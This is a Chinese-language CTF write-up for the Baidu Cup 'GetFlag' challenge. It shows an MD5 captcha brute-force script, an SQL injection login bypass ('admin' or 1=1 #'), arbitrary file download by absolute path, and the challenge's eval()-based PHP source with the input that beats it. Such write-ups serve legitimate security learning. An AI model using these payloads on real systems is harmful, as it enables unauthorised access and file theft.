“百度杯”CTF比赛 十月场GetFlag
==========================
个人收获:
1.不要怕,多尝试
2.知道Linux web网站的默认路径 /var/www/html
3.里面有个小疑问为什么flag后面要加;
(因为eval中要执行的代码也必须是完整的PHP代码,PHP是以 ; 作为一个语句的结束符的)找到的答案
==========================
题目界面
然后查看了http请求,扫描了目录和看了源码没有发现什么异常的地方
这里要求输入账号密码和验证码
根据上面的提示,我们利用py脚本跑出验证码(这部分跟https://blog.csdn.net/nzjdsds/article/details/81411678 一样 大家可以看下)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Time : 2018/8/20 22:50
# Author : SDFZ
# Site : sdfzy.top
# File : test.py
#===================================================================
import hashlib
def md5(s):
return hashlib.md5(str(s).encode('utf-8')).hexdigest() #用md5先把参数s用utf-8编码之后进行加密,hexdigest表示返回返回摘要,作为十六进制数据字符串值
def main(s):
for i in range(1,99999999):
if md5(i)[0:6] == str(s): #截取密文前6位与 用户传入的值进行比对 (具体情况具体修改)
print(i)
exit(0)
if __name__ == '__main__':
main("eb6b36")
我们把验证码填上,然后账号密码部分我们可以尝试常规的SQL注入试试
账号:admin' or 1=1 #
密码:随便填
成功登陆
三个文件下载过来我们看下内容
其中只有a.php的信息有用,其他2个文件的信息都没用
a.php的内容如下
里面说flag在 web网站的根目录下
然后我又看到了 它的下载连接是这样的
http://63378b741e3841239fb37ca9c46ee684b1815b62385d4334.game.ichunqiu.com/Challenges/file/download.php?f=a.php
我就想到文件包含 ,直接把后面a.php改成flag.php试下
然后页面出现这个
到这我就尝试一直加../进行遍历但是一直没结果,就看了下别人的wp 说是要写成这个样子
/var/www/html/Challenges/flag.php
(我记得linux系统里面安装apache网页的默认网页路径就是这样差不多的/var/www/html/然后在根据网址大概就能猜出来)
附一张ubunt 下apache的默认web路径
同时我们也可以通过网页的HTTP包来看到它的服务器是什么系统
然后下载源代码
源码如下:
<?php
$f = $_POST['flag'];
$f = str_replace(array('`', '$', '*', '#', ':', '\\', '"', "'", '(', ')', '.', '>'), '', $f);
if((strlen($f) > 13) || (false !== stripos($f, 'return')))
{
die('wowwwwwwwwwwwwwwwwwwwwwwwww');
}
try
{
eval("\$spaceone = $f");
}
catch (Exception $e)
{
return false;
}
if ($spaceone === 'flag'){
echo file_get_contents("helloctf.php");
}
?>
通过代码审计得知给flag.php传入参数?flag=flag;
即可获得helloctf.php的内容。
因为执行了一个eval()函数,要在代码末尾添加分号来结束一行代码,所以传入参数要带一个分号,进过eval()函数后分号被去掉。 (看其他大佬的wp)
上一篇: 使用宝塔搭建自己的邮箱服务器-宝塔邮局